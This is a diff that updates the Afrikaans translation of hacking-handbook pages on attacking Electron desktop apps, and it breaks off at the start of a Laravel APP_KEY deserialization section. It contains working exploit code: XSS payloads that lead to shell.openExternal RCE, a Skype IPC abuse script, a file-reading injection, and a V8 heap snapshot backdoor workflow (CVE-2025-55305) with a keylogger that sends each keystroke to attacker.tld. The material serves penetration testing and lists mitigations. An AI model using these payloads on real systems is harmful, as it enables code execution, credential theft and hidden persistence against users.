-### Omseil klikgebeurtenis
+### Klik-gebeurtenis omseil
 
-As daar beperkings toegepas word wanneer jy op 'n skakel klik, kan jy dit dalk omseil deur 'n **middel-klik** te gebruik in plaas van 'n gewone linkermuisklik
+As daar beperkings toegepas word wanneer jy op 'n skakel klik, kan jy dit dalk omseil deur **met die middelknoppie te klik** in plaas van 'n gewone linkerklik
 ```javascript
 window.addEventListener('click', (e) => {
 ```
 ## RCE via shell.openExternal
 
-Vir meer inligting oor hierdie voorbeelde, kyk na [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) en [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
+Vir meer inligting oor hierdie voorbeelde, sien [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) en [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
 
-Wanneer 'n Electron desktop-toepassing uitgerol word, is dit noodsaaklik om die korrekte instellings vir `nodeIntegration` en `contextIsolation` te verseker. Daar is vasgestel dat **client-side remote code execution (RCE)** wat preload scripts of Electron se native code vanaf die main process teiken, met hierdie instellings in plek effektief verhoed word.
+Wanneer 'n Electron desktop application uitgerol word, is dit noodsaaklik om die korrekte instellings vir `nodeIntegration` en `contextIsolation` te verseker. Dit is gevestig dat **client-side remote code execution (RCE)** wat gemik is op preload scripts of Electron se native code vanaf die main process effektief voorkom word met hierdie instellings in plek.
 
-Wanneer 'n gebruiker met skakels interaksie het of nuwe vensters oopmaak, word spesifieke event listeners geaktiveer, wat kritiek is vir die toepassing se sekuriteit en funksionaliteit:
+Wanneer 'n gebruiker met skakels interaksie het of nuwe vensters oopmaak, word spesifieke event listeners geaktiveer, wat vir die toepassing se sekuriteit en funksionaliteit kritiek is:
 ```javascript
 webContents.on("new-window", function (event, url, disposition, options) {}
 webContents.on("will-navigate", function (event, url) {}
 ```
-Hierdie listeners word **oorskryf deur die desktop-toepassing** om sy eie **bedryfslogika** te implementeer. Die toepassing evalueer of 'n genavigeerde skakel intern of in 'n eksterne webblaaier geopen moet word. Hierdie besluit word gewoonlik geneem deur 'n funksie, `openInternally`. As hierdie funksie `false` teruggee, dui dit aan dat die skakel ekstern geopen moet word deur gebruik te maak van die `shell.openExternal` funksie.
+Hierdie luisteraars word deur die desktop-toepassing **oorskryf** om sy eie **bedryfslogika** te implementeer. Die toepassing bepaal of 'n genavigeerde skakel intern of in 'n eksterne webblaaier geopen moet word. Hierdie besluit word gewoonlik geneem deur 'n funksie, `openInternally`. As hierdie funksie `false` teruggee, dui dit aan dat die skakel eksterne geopen moet word, deur gebruik te maak van die `shell.openExternal` funksie.
 
 **Here is a simplified pseudocode:**
 
@@ -204,11 +204,11 @@ Hierdie listeners word **oorskryf deur die desktop-toepassing** om sy eie **bedr
 
 ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
 
-Electron JS security best practices raai af om onbetroubare inhoud met die `openExternal` funksie te aanvaar, aangesien dit tot RCE via verskeie protokolle kan lei. Bedryfstelsels ondersteun verskillende protokolle wat RCE kan veroorsaak. Vir gedetaileerde voorbeelde en verdere verduideliking oor hierdie onderwerp kan verwys word na [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), wat Windows-protokolvoorbeelde bevat wat hierdie kwesbaarheid kan uitbuit.
+Electron JS beste sekuriteitspraktyke waarsku daarteen om onbetroubare inhoud met die `openExternal` funksie te aanvaar, aangesien dit tot RCE deur verskeie protokolle kan lei. Bedryfstelsels ondersteun verskillende protokolle wat RCE kan veroorsaak. Vir gedetailleerde voorbeelde en verdere verduideliking oor hierdie onderwerp, kan mens na [this resource](https://positive.security/blog/url-open-rce#windows-10-19042) verwys, wat Windows-protokol-voorbeelde bevat wat hierdie kwesbaarheid kan uitbuit.
 
-In macos kan die `openExternal` funksie misbruik word om ewekansige opdragte uit te voer, soos in `shell.openExternal('file:///System/Applications/Calculator.app')`.
+In macos kan die `openExternal` funksie misbruik word om arbitrêre opdragte uit te voer, soos in `shell.openExternal('file:///System/Applications/Calculator.app')`.
 
-**Examples of Windows protocol exploits include:**
+**Voorbeelde van Windows-protokol-uitbuiting sluit in:**
 ```html
 <script>
 window.open(
@@ -230,15 +230,15 @@ window.open(
 ```
 ## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
 
-Hierdie vuln kan gevind word in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
+Hierdie kwesbaarheid kan gevind word in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
 
-Die **webviewTag** is 'n **verouderde funksie** wat die gebruik van **NodeJS** in die **renderer-proses** moontlik maak, en dit behoort gedeaktiveer te word aangesien dit toelaat om 'n skrip binne die preload-konteks te laai, soos:
+Die **webviewTag** is 'n **verouderde funksie** wat die gebruik van **NodeJS** in die **renderer process** toelaat, wat gedeaktiveer behoort te word aangesien dit toelaat om 'n skrip binne die preload context te laai soos:
 ```xml
 <webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
 ```
-Daarom kan 'n aanvaller wat daarin slaag om 'n arbitrêre bladsy te laai, daardie tag gebruik om **'n arbitrêre preload script te laai**.
+Dus kan 'n aanvaller wat daarin slaag om 'n willekeurige bladsy te laai daardie tag gebruik om **load an arbitrary preload script**.
 
-Hierdie preload script is toe misbruik om 'n **kwesbare IPC-diens (`skype-new-window`)** aan te roep, wat **`shell.openExternal`** aangeroep het om RCE te kry:
+Hierdie preload script is toe misbruik om 'n oproep te maak na 'n **vulnerable IPC service (`skype-new-window`)** wat **`shell.openExternal`** aangeroep het om RCE te kry:
 ```javascript
 (async() => {
 const { ipcRenderer } = require("electron");
@@ -249,13 +249,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
 }, 5000);
 })();
 ```
-## Lees Interne Lêers: XSS + contextIsolation
+## Lees van Interne Lêers: XSS + contextIsolation
 
-**Deaktivering van `contextIsolation` maak die gebruik van `<webview>`-tags moontlik**, soortgelyk aan `<iframe>`, om plaaslike lêers te lees en te exfiltrating. 'n Voorbeeld toon hoe hierdie kwesbaarheid misbruik kan word om die inhoud van interne lêers te lees:
+**Om `contextIsolation` uit te skakel maak die gebruik van `<webview>` tags moontlik**, soortgelyk aan `<iframe>`, vir die lees en exfiltrating van plaaslike lêers. ’n Voorbeeld toon hoe om hierdie kwesbaarheid te exploit om die inhoud van interne lêers te lees:
 
 ![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
 
-Verder word nog 'n metode vir **lees van 'n interne lêer** gedeel, wat 'n kritieke lokale lêerlees-kwesbaarheid in 'n Electron desktop app uitlig. Dit behels die injeksie van 'n script om die toepassing te misbruik en data te exfiltrate:
+Verder word nog ’n metode gedeel om **’n interne lêer te lees**, wat ’n kritieke local file read kwesbaarheid in ’n Electron desktop app uitlig. Dit behels die injectering van ’n script om die toepassing te exploit en data te exfiltrate:
 ```html
 <br /><br /><br /><br />
 <h1>
@@ -271,23 +271,23 @@ frames[0].document.body.innerText
 </script>
 </h1>
 ```
-## **RCE: XSS + Old Chromium**
+## **RCE: XSS + Ou chromium**
 
-As die **chromium** wat deur die toepassing gebruik word **oud** en daar **bekende** **vulnerabilities** daarop is, kan dit moontlik wees om dit te **exploit** en RCE deur 'n XSS te verkry.\
-Jy kan 'n voorbeeld in hierdie **writeup** sien: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
+Indien die **chromium** wat deur die toepassing gebruik word **oud** en daar **bekende** **vulnerabilities** daarop is, kan dit moontlik wees om dit te **exploit** en RCE te bekom deur 'n XSS.  
+Jy kan 'n voorbeeld sien in hierdie **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
 
-## **XSS Phishing via Internal URL regex bypass**
+## **XSS Phishing via Interne URL regex bypass**
 
-Indien jy 'n XSS gevind het maar jy **cannot trigger RCE or steal internal files**, kan jy probeer om dit te gebruik om **steal credentials via phishing**.
+As jy 'n XSS gevind het maar jy **kan nie RCE trigger of interne lêers steel nie**, kan jy probeer om dit te gebruik om **credentials via phishing** te steel.
 
-Eerstens moet jy weet wat gebeur wanneer jy probeer om 'n nuwe URL te open deur die JS-kode in die front-end na te gaan:
+Eerstens moet jy weet wat gebeur wanneer jy probeer om 'n nuwe URL oop te maak, deur die JS-kode in die front-end na te gaan:
 ```javascript
 webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
 webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)
 ```
-Die oproep na **`openInternally`** sal besluit of die **link** in die **desktop window** geopen sal word aangesien dit ’n link is wat aan die platform behoort, **of** dit in die **browser as a 3rd party resource** geopen sal word.
+Die oproep na **`openInternally`** sal besluit of die **link** sal **opened** in die **desktop window** wees aangesien dit 'n link is wat aan die platform behoort, **or** of dit in die **browser as a 3rd party resource** geopen sal word.
 
-In die geval dat die **regex** wat deur die funksie gebruik word **vatbaar is vir omseilings** (byvoorbeeld deur **nie die kolletjies van subdomeine te ontsnap nie), kan ’n aanvaller die XSS misbruik om ’n **nuwe venster te open wat** in die aanvaller se infrastruktuur geleë sal wees en die gebruiker **asking for credentials**:
+In die geval dat die **regex** wat deur die funksie gebruik word **vulnerable to bypasses** (byvoorbeeld deur **not escaping the dots of subdomains**) kan 'n aanvaller die XSS misbruik om **open a new window which** in die aanvaller se infrastruktuur te plaas en die gebruiker **asking for credentials**:
 ```html
 <script>
 window.open("<http://subdomainagoogleq.com/index.html>")
@@ -295,21 +295,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
 ```
 ## `file://` Protokol
 
-Soos in [die docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) genoem, het bladsye wat op **`file://`** hardloop eenzijdige toegang tot elke lêer op jou masjien, wat beteken dat **XSS issues can be used to load arbitrary files** vanaf die gebruiker se masjien. Die gebruik van 'n **aangepaste protokol** voorkom sulke probleme aangesien jy die protokol kan beperk tot slegs 'n spesifieke stel lêers.
+Soos in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) genoem, het bladsye wat op **`file://`** loop eenzijdige toegang tot elke lêer op jou masjien, wat beteken dat **XSS issues can be used to load arbitrary files** vanaf die gebruiker se masjien. Deur 'n **aangepaste protokol** te gebruik, voorkom jy sulke probleme aangesien jy die protokol kan beperk tot slegs die bedien van 'n spesifieke stel lêers.
 
 ## Remote module
 
-Die Electron Remote module laat **renderer processes to access main process APIs**, wat kommunikasie binne 'n Electron-toepassing vergemaklik. Tog bring die inskakeling van hierdie module beduidende sekuriteitsrisiko's mee. Dit vergroot die toepassing se aanval-oppervlakte en maak dit meer kwesbaar vir swakpunte soos cross-site scripting (XSS) aanvalle.
+Die Electron Remote module laat **renderer processes to access main process APIs**, wat kommunikasie binne 'n Electron-toepassing vergemaklik. Om hierdie module aan te skakel bring egter beduidende sekuriteitsrisiko's mee. Dit vergroot die toepassing se aanvaloppervlak en maak dit meer vatbaar vir kwesbaarhede soos cross-site scripting (XSS) attacks.
 
 > [!TIP]
-> Alhoewel die **remote** module sommige APIs van main na renderer processes openbaar, is dit nie maklik om slegs deur misbruik van die komponente RCE te kry nie. Die komponente kan egter sensitiewe inligting openbaar.
+> Alhoewel die **remote** module sekere APIs van main na renderer processes blootstel, is dit nie eenvoudig om slegs deur die misbruik van die komponente RCE te kry nie. Die komponente kan egter sensitiewe inligting openbaar.
 
 > [!WARNING]
-> Baie apps wat steeds die remote module gebruik doen dit op 'n wyse wat **require NodeIntegration to be enabled** in the renderer process, wat 'n **enorme sekuriteitsrisiko** is.
+> Baie apps wat steeds die remote module gebruik, doen dit op 'n wyse wat vereis dat **NodeIntegration geaktiveer word** in die renderer process, wat 'n **enorme sekuriteitsrisiko** is.
 
-Sedert Electron 14 kan die `remote` module op verskeie maniere geaktiveer wees; vanweë sekuriteits- en prestasie-redes word dit **aanbeveel om dit nie te gebruik nie**.
+Sedert Electron 14 kan die `remote` module van Electron in verskeie stappe geaktiveer word; weens sekuriteit- en prestasie-redes word dit **aanbeveel om dit nie te gebruik nie**.
 
-Om dit te aktiveer, moet dit eers in die **main process** geaktiveer word:
+Om dit te aktiveer, moet dit eers in die main process geaktiveer word:
 ```javascript
 const remoteMain = require('@electron/remote/main')
 remoteMain.initialize()
@@ -320,28 +320,28 @@ mainWindow = new BrowserWindow({
 })
 remoteMain.enable(mainWindow.webContents)
 ```
-Dan kan die renderer-proses voorwerpe uit die module soos volg invoer:
+Dan kan die renderer-proses voorwerpe uit die module invoer soos:
 ```javascript
 import { dialog, getCurrentWindow } from '@electron/remote'
 ```
-Die **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** dui 'n paar interessante **funksies** aan wat deur die object **`app`** van die remote module blootgestel word:
+Die **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** dui op 'n paar interessante **funksies** wat deur die objek **`app`** van die remote module blootgestel word:
 
 - **`app.relaunch([options])`**
-- **Herbegin** die toepassing deur die huidige instansie te **verlaat** en 'n nuwe een te **lans**. Nuttig vir **app updates** of beduidende **state changes**.
+- **Herbegin** die toepassing deur die **huidige instansie te sluit** en 'n **nuwe een te begin**. Nuttig vir **app updates** of beduidende **toestandveranderinge**.
 - **`app.setAppLogsPath([path])`**
-- **Bepaal** of **skep** 'n gids vir die stoor van **app logs**. Die logs kan gebruik word om met **`app.getPath()`** of **`app.setPath(pathName, newPath)`** **gekry** of **gewysig** te word.
+- **Bepaal** of **skep** 'n gids vir die stoor van **app logs**. Die logs kan **opgehaal** of **gewysig** word deur gebruik te maak van **`app.getPath()`** of **`app.setPath(pathName, newPath)`**.
 - **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
-- **Registreer** die huidige uitvoerbare as die **standaardbehandelaar** vir 'n gespesifiseerde **protocol**. Jy kan 'n **custom path** en **arguments** verskaf indien nodig.
+- **Registreer** die huidige uitvoerbare lêer as die **standaardhanteraar** vir 'n gespesifiseerde **protokol**. Jy kan 'n **aangepaste pad** en **argumente** verskaf indien nodig.
 - **`app.setUserTasks(tasks)`**
-- **Voeg** tasks by die **Tasks category** in die **Jump List** (op Windows). Elke taak kan beheer hoe die app **gelans** word of watter **arguments** deurgegee word.
+- **Voeg** take by die **Tasks category** in die **Jump List** (op Windows). Elke taak kan beheer hoe die app **gestart** word of watter **argumente** deurgegee word.
 - **`app.importCertificate(options, callback)`**
-- **Importeer** 'n **PKCS#12 certificate** in die stelsel se **certificate store** (slegs Linux). 'n **callback** kan gebruik word om die resultaat te hanteer.
+- **Importeer** 'n **PKCS#12-sertifikaat** in die stelsel se **sertifikaatwinkel** (slegs Linux). 'n **callback** kan gebruik word om die resultaat te hanteer.
 - **`app.moveToApplicationsFolder([options])`**
-- **Skuif** die toepassing na die **Applications folder** (op macOS). Help om 'n **standard installation** vir Mac-gebruikers te verseker.
+- **Skuif** die toepassing na die **Applications folder** (op macOS). Dit help om 'n **standaardinstallasie** vir Mac-gebruikers te verseker.
 - **`app.setJumpList(categories)`**
-- **Stel** of **verwyder** 'n **custom Jump List** op **Windows**. Jy kan **categories** spesifiseer om te organiseer hoe take aan die gebruiker verskyn.
+- **Stel** of **verwyder** 'n **pasgemaakte Jump List** op **Windows**. Jy kan **kategorieë** spesifiseer om te organiseer hoe take aan die gebruiker verskyn.
 - **`app.setLoginItemSettings(settings)`**
-- **Konfigureer** watter **executables** by **login** begin tesame met hul **options** (slegs macOS en Windows).
+- **Konfigureer** watter **uitvoerbare lêers** by **aanmelding** begin saam met hul **opsies** (slegs macOS en Windows).
 
 Voorbeeld:
 ```javascript
@@ -350,7 +350,7 @@ Native.app.exit()
 ```
 ## systemPreferences module
 
-Die **primêre API** om toegang te kry tot stelselvoorkeure en om **stelselgebeure** in Electron uit te stuur. Metodes soos **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, en **setUserDefault** is almal **deel van** hierdie module.
+Die **primêre API** om toegang te kry tot stelselvoorkeure en **stelselgebeurtenisse uit te stuur** in Electron. Metodes soos **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, en **setUserDefault** is almal **deel van** hierdie module.
 
 **Voorbeeldgebruik:**
 ```javascript
@@ -368,30 +368,30 @@ console.log('Recent Places:', recentPlaces);
 ### **subscribeNotification / subscribeWorkspaceNotification**
 
 * **Luister** na **inheemse macOS-kennisgewings** met NSDistributedNotificationCenter.
-* Voor **macOS Catalina** kon jy **alle** verspreide kennisgewings afluister deur **nil** aan CFNotificationCenterAddObserver te gee.
-* Na **Catalina / Big Sur** kan sandboxed apps steeds **subscribe** op **many events** (for example, **screen locks/unlocks**, **volume mounts**, **network activity**, etc.) deur kennisgewings **by name** te registreer.
+* Voor **macOS Catalina** kon jy **alle** verspreide kennisgewings aftap deur **nil** aan CFNotificationCenterAddObserver te gee.
+* Na **Catalina / Big Sur** kan sandboxed apps steeds **inskryf** op **baie gebeure** (bv. **skerm sluit/opsluit**, **volume mounts**, **network activity**, ens.) deur kennisgewings **per naam** te registreer.
 
 ### **getUserDefault / setUserDefault**
 
-* **Koppel** met **NSUserDefaults**, wat toepassings- of globale voorkeure op macOS stoor.
+* **Koppel aan** **NSUserDefaults**, wat **application** of **global** voorkeure op macOS stoor.
 
-* **getUserDefault** kan **sensitiewe inligting** **verkry**, soos **onlangse lêerliggings** of **die gebruiker se geografiese ligging**.
+* **getUserDefault** kan sensitiewe inligting **ophaal**, soos **onlangse lêerliggings** of die **gebruiker se geografiese ligging**.
 
-* **setUserDefault** kan hierdie voorkeure **wysig**, wat moontlik ’n app se **konfigurasie** beïnvloed.
+* **setUserDefault** kan hierdie voorkeure **wysig**, wat moontlik 'n app se **konfigurasie** beïnvloed.
 
-* In **ouer Electron versions** (before v8.3.0) was slegs die **standard suite** van NSUserDefaults **accessible**.
+* In **oudere Electron weergawes** (voor v8.3.0) was slegs die **standaard-suite** van NSUserDefaults **toeganklik**.
 
 ## Shell.showItemInFolder
 
-Hierdie funksie wys die gegewe lêer in ’n file manager, wat die lêer **outomaties kan uitvoer**.
+Hierdie funksie wys die gegewe lêer in 'n lêerbestuurder, wat **outomaties die lêer kan uitvoer**.
 
 For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
 
 ## Content Security Policy
 
-Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
+Electron apps behoort 'n **Content Security Policy (CSP)** te hê om **XSS attacks** te **voorkom**. Die **CSP** is 'n **sekuriteitsstandaard** wat help om die **uitvoering** van **onbetroubare kode** in die blaaier te **voorkom**.
 
-It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
+Dit word gewoonlik in die **`main.js`** lêer of in die **`index.html`** sjabloon gekonfigureer met die CSP binne 'n **meta tag**.
 
 For more information check:
 
@@ -401,18 +401,18 @@ pentesting-web/content-security-policy-csp-bypass/
 {{#endref}}
 
 
-## **Gereedskap**
+## **Tools**
 
-- [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
-- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is an open source VS Code plugin for Electron applications that uses Electronegativity.
+- [**Electronegativity**](https://github.com/doyensec/electronegativity) is 'n hulpmiddel om miskonfigurasies en sekuriteits-anti-patrone in Electron-gebaseerde toepassings te identifiseer.
+- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is 'n open source VS Code plugin vir Electron-toepassings wat Electronegativity gebruik.
 - [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) om kwesbare derdeparty-biblioteke te kontroleer
 - [**Electro.ng**](https://electro.ng/): Jy moet dit koop
 
 ## Labs
 
-In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) kan jy ’n lab vind om kwesbare Electron-apps te exploit.
+In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) kan jy 'n lab vind om kwesbare Electron-apps te exploit.
 
-Sommige commando's wat jou met die lab sal help:
+Sommige opdragte wat jou in die lab sal help:
 ```bash
 # Download apps from these URls
 # Vuln to nodeIntegration
@@ -435,14 +435,14 @@ cd vulnerable1
 npm install
 npm start
 ```
-## Plaaslike backdooring deur V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
+## Lokale backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
 
-Electron- en Chromium-gebaseerde apps deserialiseer 'n voorafgeboude V8 heap snapshot tydens opstart (v8_context_snapshot.bin, en opsioneel browser_v8_context_snapshot.bin) om elke V8 isolate te inisialisseer (main, preload, renderer). Histories het Electron se integrity fuses hierdie snapshots nie as uitvoerbare inhoud beskou nie, sodat hulle beide fuse-gebaseerde integriteitsdwinging en OS code-signing kontroles omseil het. Gevolglik het die vervanging van die snapshot in 'n gebruikers-skryfbare installasie gesluierde, volhoubare koduitvoering binne die app moontlik gemaak sonder om die getekende binaries of ASAR te wysig.
+Electron- en Chromium-gebaseerde apps deserialiseer 'n voorafgeboude V8 heap snapshot tydens opstart (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) om elke V8 isolate (main, preload, renderer) te inisialiseer. Histories het Electron’s integrity fuses hierdie snapshots nie as uitvoerbare inhoud beskou nie, sodat hulle beide fuse-based integrity enforcement en OS code-signing checks omseil het. Gevolglik het die vervanging van die snapshot in 'n user-writable installasie onopvallende, persistente code execution binne die app moontlik gemaak sonder om die gesigneerde binaries of ASAR te wysig.
 
 Key points
-- Integrity gap: EnableEmbeddedAsarIntegrityValidation en OnlyLoadAppFromAsar valideer app JavaScript binne die ASAR, maar hulle het nie V8 heap snapshots gedek nie (CVE-2025-55305). Chromium voer soortgelyk nie integriteitskontroles op snapshots uit nie.
-- Attack preconditions: Plaaslike skryftoegang tot die app se installasiegids. Dit is algemeen op stelsels waar Electron apps of Chromium browsers geïnstalleer is onder gebruikers-skryfbare paaie (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
-- Effect: Betroubare uitvoering van die aanvaller se JavaScript in enige isolate deur 'n gereeld gebruikte builtin (a “gadget”) te oorskryf, wat volhoubaarheid en omseiling van code-signing verifikasie moontlik maak.
+- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
+- Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
+- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
 - Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
 
 Generating a malicious snapshot without building Chromium
@@ -463,10 +463,10 @@ throw new Error("testing isArray gadget");
 };
 ```
 Isolate-aware payload routing (voer verskillende kode uit in main vs. renderer)
-- Main-proses deteksie: Node-slegs globals soos process.pid, process.binding(), of process.dlopen is teenwoordig in die main-proses-isolate.
-- Browser/renderer deteksie: Blaaier-slegs globals soos alert is beskikbaar wanneer dit in 'n dokumentkonteks uitgevoer word.
+- Main process detection: Node-only globals soos process.pid, process.binding(), of process.dlopen is beskikbaar in die main process isolate.
+- Browser/renderer detection: Browser-only globals soos alert is beskikbaar wanneer dit in 'n dokumentkonteks uitgevoer word.
 
-Voorbeeld-gadget wat eenmalig die main-proses se Node-vermoëns ondersoek.
+Voorbeeld-gadget wat eenmalig main-process Node-capabilities ondersoek
 ```js
 const orig = Array.isArray;
 
@@ -495,7 +495,7 @@ process.exit(0);
 return orig(...arguments);
 };
 ```
-Renderer/browser-konteks data-diefstal PoC (bv. Slack)
+Renderer/browser-context datadiefstal PoC (bv. Slack)
 ```js
 const orig = Array.isArray;
 Array.isArray = function() {
@@ -519,26 +519,26 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
 return orig(...arguments);
 };
 ```
-Operateur-werkvloei
-1) Skryf payload.js wat 'n algemene builtin oor-skryf (bv. Array.isArray) en opsioneel per isolate vertakkings gebruik.
+Operateur-werksvloei
+1) Skryf payload.js wat 'n algemene ingeboude funksie oorskryf (bv. Array.isArray) en opsioneel per isolate vertakkings implementeer.
 2) Bou die snapshot sonder Chromium-bronne:
 - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
-3) Oorskryf die teiken-toepassing se snapshot-lêer(s):
+3) Oorskryf die snapshot-lêer(s) van die teiken-toepassing:
 - v8_context_snapshot.bin (altyd gebruik)
-- browser_v8_context_snapshot.bin (as die LoadBrowserProcessSpecificV8Snapshot fuse gebruik word)
-4) Begin die toepassing; die gadget word uitgevoer wanneer die gekose builtin gebruik word.
+- browser_v8_context_snapshot.bin (indien die LoadBrowserProcessSpecificV8Snapshot fuse gebruik word)
+4) Begin die toepassing; die gadget word uitgevoer elke keer as die gekose ingeboude funksie gebruik word.
 
 Aantekeninge en oorwegings
-- Integriteit/handtekening-omseiling: Snapshot-lêers word nie deur code-signing kontroles as native uitvoerbare lêers behandel nie en (histories) was hulle nie deur Electron’s fuses of Chromium integriteitskontroles gedek nie.
-- Persistensie: Om die snapshot in 'n gebruikerskryfbare installasie te vervang oorleef gewoonlik herlaai van die app en lyk soos 'n ondertekende, legitieme app.
-- Chromium-blaaiers: Dieselfde manipulasie-konsep geld vir Chrome/afgeleides wat in gebruikerskryfbare ligginge geïnstalleer is. Chrome het ander integriteitsmitigasies maar sluit eksplisiet fisies plaaslike aanvalle uit van sy bedreigingsmodel.
+- Integriteit/handtekening-omseiling: Snapshot-lêers word nie deur code-signing kontroles as native uitvoerbare lêers beskou nie en (histories) is hulle nie deur Electron se fuses of Chromium-integriteitskontroles gedek nie.
+- Persistensie: Deur die snapshot in 'n gebruiker-skryfbare installasie te vervang oorleef dit tipies app-herstartings en lyk dit soos 'n ondertekende, legitieme app.
+- Chromium-blaaiers: Dieselfde manipulasie-konsep is van toepassing op Chrome/derivatives wat in gebruiker-skryfbare lokasies geïnstalleer is. Chrome het ander integriteitsmitigerings maar sluit fisies plaaslike aanvalle eksplisiet uit sy bedreigingsmodel.
 
 Opsporing en mitigasies
-- Behandel snapshots as uitvoerbare inhoud en sluit dit in by integriteitshandhawing (CVE-2025-55305 fix).
-- Gebruik voorkeurlik slegs admin-skryfbare installasieligginge; stel 'n basislyn op en monitor hashes vir v8_context_snapshot.bin en browser_v8_context_snapshot.bin.
-- Detecteer vroeë-runtime builtin-oor-skrywing (clobbering) en onverwagte snapshot-wijzigings; waarsku wanneer gedeserialiseerde snapshots nie by verwagte waardes pas nie.
+- Behandel snapshots as uitvoerbare inhoud en sluit hulle in by integriteitsafdwinging (CVE-2025-55305 fix).
+- Gee voorkeur aan installasie-lokasies wat slegs admin-skryfbaar is; stel 'n basislyn vas en monitor hashes vir v8_context_snapshot.bin en browser_v8_context_snapshot.bin.
+- Detecteer vroeë-runtime ingeboude oorskrywing en onverwagte snapshot-wijzigings; waarsku wanneer gedeserialiseerde snapshots nie by die verwagte waardes pas nie.
 
-## **References**
+## **Verwysings**
 
 - [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
 - [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md
index a64a2eb04..b909492f4 100644
--- a/src/network-services-pentesting/pentesting-web/laravel.md
+++ b/src/network-services-pentesting/pentesting-web/laravel.md
@@ -4,14 +4,14 @@
 
 ### Laravel SQLInjection
 
-Lees hieroor: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
+Lees hieroor meer by: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
 
 ---
 
 ## APP_KEY & Enkripsie interne werking (Laravel \u003e=5.6)
 
 Laravel gebruik AES-256-CBC (of GCM) met HMAC-integriteit onder die kap (`Illuminate\\Encryption\\Encrypter`).
-Die rou ciphertext wat uiteindelik **na die kliënt gestuur word** is **Base64 van 'n JSON-objek** soos:
+Die rou ciphertext wat uiteindelik **na die kliënt gestuur word** is **Base64 van 'n JSON-object** soos:
 ```json
 {
 "iv"   : "Base64(random 16-byte IV)",
@@ -20,9 +20,9 @@ Die rou ciphertext wat uiteindelik **na die kliënt gestuur word** is **Base64 v
 "tag"  : ""                 // only used for AEAD ciphers (GCM)
 }
 ```
-`encrypt($value, $serialize=true)` sal die plaintext standaard `serialize()` , terwyl
-`decrypt($payload, $unserialize=true)` **sal outomaties `unserialize()`** die gedekripteerde waarde.
-Daarom kan **enige aanvaller wat die 32-byte geheime `APP_KEY` ken, 'n versleutelde PHP serialized object konstrueer en RCE verkry via magic methods (`__wakeup`, `__destruct`, …)**.
